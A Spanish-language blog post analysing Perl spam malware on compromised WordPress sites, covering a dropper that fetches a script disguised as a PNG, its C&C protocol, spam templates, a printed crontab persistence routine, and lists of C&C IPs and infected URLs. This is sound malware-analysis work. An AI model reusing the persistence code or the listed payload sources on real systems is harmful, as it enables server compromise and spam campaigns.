SPAM en sitios web, generalmente que utilizan Wordpress - Parte II - Análisis de Malware

Esta es la segunda parte del post donde analizo distintos malwares instalados en un sitio web, donde la mayoría tienen el mismo objetivo: enviar SPAM.

Puedes revisar la primera parte acá.

La muestra que reviso a continuación está escrita en Perl, debido a que el código es extenso dejo el link con la muestra original acá:

https://github.com/inc0d3/malware/blob/master/spam/perl/dropper-envio-spam.pl

Se utilizó http://perlobfuscator.com/ o algo similar para ofuscar su código,  pero para hacerlo más legible, basta con cambiar la función "eval" por "print" y tendremos la siguiente salida:

https://github.com/inc0d3/malware/blob/master/spam/perl/dropper-envio-spam-desofuscado.pl

Este script lo que hace principalmente es la función de un dropper, descarga otro script en Perl; para ello consulta a la IP [217.172.180.24] con peticiones HTTP y esta responde con un link:

https://xbclothes.com/wp-content/uploads/2018/06/attol.png

Si analizamos la imagen PNG veremos que se trata de un script en Perl:

https://github.com/inc0d3/malware/blob/master/spam/perl/envio-spam.pl

Este nuevo script es el encargado del envío de SPAM, este se descarga en /tmp/[nombre_aleatorio] y y el dropper lo ejecuta via "system perl [archivo]  >/dev/null 2>&1"

La versión más legible está acá:

https://github.com/inc0d3/malware/blob/master/spam/perl/envio-spam-desofuscado.pl

Al iniciar la ejecución del nuevo script descargado, lo primero es detectar la versión del sistema operativo, este nuevo malware tiene la capacidad de ejecutar código diferente dependiendo si el sistema operativo es Linux, Windows o BSD, también inicia la comunicación con su servidor principal (C&C) vía UDP y si esta modalidad falla, lo hace vía TCP, sin utilizar protocolo HTTP.

DESCARGA DE BASE DE DATOS DE CORREOS

La primera conexión con su servidor de comando y control (C&C), lo hace enviando como dijimos anteriormente vía UPD o TCP un contacto inicial con los datos:

&main('85.25.252.196',778,'/');
&main('85.25.252.196',443,'/');

EHLO localhost [\r\n\][bytes de configuración]

Los bytes de configuración incluyen la versión del cliente, una firma del cliente, el comando y el tamaño del buffer a enviar.



Si los datos son correctos, el servidor C&C envía la lista con los destinatarios:



PREPARACIÓN DEL CONTENIDO DEL SPAM


Luego de obtener la lista completa de destinatarios, solicita el contenido del SPAM que viene en HTML, con LINKs y plantillas para poder editar los datos (asunto, destinatario, nombre, etc) y luego enviar el correo de forma personalizada. Algunas de las respuestas del servidor es:

è95QźHÓC>?EÜ[email protected]ÈeUüÄÀ¨»=38eù¥¦(Ps/×e|Feature up to photos you love|Updated her profile picture|I like you so much|Please think about it. Can you send me your picture?|Can you send me your picture?|Likes your post|Likes your photo|Thank you for accepting my invitation[/string](2)
From: [string]Alberto|Alene|Alessandro|Aletha[/string](15) [string]Wharton|Popplewell|Livingston|Skaggs[/string](16) [string]Support|User Support|Service|Manager|Administrator|Supervisor|Chief[/string](1) <%FROMUSER%@%FROMHOST%>
Content-Transfer-Encoding: 7bit
Allocations-Levers-Resynchronize: shouting
Content-Type: text/html; charset=UTF-8
Unnerve-Amulet: undetectable
Date: %WWW%, %D% %MMM% %YYYY% %HH%:%mm%:%ss% +0000

 <html>  
<head>     
<title></title>     
</head>   
<body repetitious='proliferation'> 

 <table strides="dote" border="0" width="[string]800|440|600[/string](4)" cellpadding="0" cellspacing="0" style="max-width:%[4]px;border-top:%[5]px solid #[string]66cc99|47b8aa[/string];font:[string]11|12[/string](6)px arial,sans-serif;margin:0 auto;">
<tr contradicting='contour'><td induction="6"><h appeasement="loosing"1 style="color:#[string]080808|000033[/string];font:bold [string]16|18[/string]px arial;margin:[string]5|6[/string](5)px 0;">[string]Hey there|Hi|Hello[/string][string]|,|![/string] %TONAME%, %[15] %[16] %[1]</h1>    
  
 <p style="margin:0 0 [string]5|6|4[/string](1

Otro ejemplo:
è95QźHÓC>?EÜðº@0AÇUüÄÀ¨
=4ó¯hÈP9ðÏ"><td akimbo=82><h classmate="5"1 style="color:#[string]0f0f0f|000|080808|000033[/string];font:bold [string]16|18|20|23|24|22[/string]px arial;margin:[string]5|6|4|7[/string](5)px 0;">%[15] %[16] %[1]</h1>
<p style="margin:0 0 [string]5|6|4[/string](19)px 0">    
[string]<br>|<br><br>[/string](29)   
 
 <b>To:</b>   %TOUSER%@%TOHOST%   
    
</p>  %[29]   
<p style="margin:0 0 %[19]px 0">  <b>From:</b>    
  %[15] %[16] %[1] </p>  
 
%[29] <p style="margin:0 0 %[19]px 0">  <b booty="8">Date:</b>    
  %M%/%DD%/%YYYY% </p>  %[29]   
<p style="margin:0 0 %[19]px 0">    
 <b retry="3">Subject:</b>    
  %[2] </p>    
 
%[29]  <p style="margin:0 0 %[19]px 0">    
   
 %[29]<a panorama="55" href="[string]http://mekanik.matek.com.tr/wp-content/villainousness.php|http://xn--55-dlcm4a2agi3f.xn--p1ai/assets/insulation.php|http://www.renegadeoil.net/wordpress_f/wp-content/teheran.php[/string](0)?to=%TOUSER%&%[28]=%[9]%[10]%[11]">%[0]?to=<b>%TOUSER%</b>&%[28]=%[9]%[10]%[11]</a> 
 %[29]   
   
</p>%[29]<form target="_blank" method="GET" action="%[0]?%[8]%[9]%[10]%[11]" style="margin:0px;"><input style="border:0px;margin:[string]15|16|18[/string](7)px 0 [string]3|4|2[/string]px 0;background:#[string]c8e8f0|d7eef4|dcf1f5|dbf2f7[/string];padding:%[5]px;width:50%;font:%[6]px arial,s


Luego de realizar los ajustes a la plantilla, cambiando fechas, nombres y correos los envía conectadose por SMTP a distintos servidores. Acá es donde en definitiva comienza a enviar SPAM, principalmente con contenido inapropiado y con links a sitios infectados.



PERSISTENCIA


Sí el sistema operativo es Linux o BSD creará una tarea programada utilizando "crontab", que ejecutará otro script Perl (inserto en el mismo código). Hay dos variantes, uno para BSD y otro para Linux o Windows. Que finalmente es el mismo dropper revisado al principio de este POST. Con esto, el atacante se asegura de estar ejecutando siempre la última versión.

foreach my $aperturep ("/var/tmp", "/tmp") { 
 for (<$aperturep/*>) { 
  unlink $_ if (-f $_ && (-x $_ || -X $_)); 
 }
 my $aperturen = ["a".."z", "A".."Z"]; 
 $aperturen = join ("", @$aperturen[map {rand @$aperturen}(1..(8 + int rand 7))]); 
 my $apertureb = "$aperturep/$aperturen";
 my $aperturec = $apertureb . int rand 9; 
 my $aperturet = "*/10 * * * * perl $apertureb >/dev/null 2>&1\n"; 
 if (open (B, ">", $apertureb)) { 
  flock B, 2; 
  print B $aperture; 
  close B;
  if (open (C, ">", $aperturec)) { 
   flock C, 2; 
   print C $aperturet; 
   close C; 
   chmod 0755, $apertureb; 
   system "crontab $aperturec >/dev/null 2>&1"; 
   unlink $aperturec; 
   last; 
   } 
  } 
 }
}

Por otro lado, si el sistema operativo es Windows, levanta un servidor escuchando en el puerto 48503 y tendrá comunicación con 217.172.180.24:34975 donde el atacante podrá controlar y enviar comandos a la víctima.


Los archivos analizados a la fecha NO son detectados por los principales Antivirus:

Dropper:

https://www.virustotal.com/gui/file/bf012a17220afab4c9f206e127c6348552ee5edc67d5a2c54c83a096d1d8197a/detection

Malware Spam:

https://www.virustotal.com/gui/file/38fd168ceb3e35b84b89e5484bcc4b74883b21f428d9ba57489021d8851d9000/detection

Lista de IPs a las que se conecta, puertos 443, 778, 80, 25, 53:

64.12.51.132
67.195.229.58
74.6.141.40
77.88.55.60
85.25.252.196
104.47.34.33
205.188.157.232
216.146.43.70
217.172.180.24

URLs que se incluyen en los correos, contenido inapropiado y sitios infectados:

http://mekanik.matek.com.tr/wp-content/villainousness.php
http://xn--55-dlcm4a2agi3f.xn--p1ai/assets/insulation.php
http://www.renegadeoil.net/wordpress_f/wp-content/teheran.php
http://huitaoer.top/wp-content/uploads/simmered.php
http://markus.my/wp-content/uploads/indication.php
http://markus.my/wp-content/uploads/legalization.php
http://ftk.unsada.ac.id/biro/ftk/public_html/wp-content/reflex.php
http://aanclac.com/maintainable.php
http://academy.ethiopianchamber.com/wp-content/themes/chanced.php
http://yuzhipeng.gz01.bdysite.com/mendoza.php
http://0dzs.comicfishing.com/loosest.php
http://pmi.temabox.com/concert.php
http://fibria-institucional-qa.azurewebsites.net/consortium.php
http://egemayyapi.com/platform/wp-content/themes/homesteader.php

Bye!

Comentarios

Entradas populares de este blog

Stack Buffer Overflow: Hackeando la memoria en Linux x64

Hacking Tools: sqlidownloader basado en el script en Perl file_reader.pl de PhineasFisher

Ocultando la web shell como una imagen (Apache + PHP)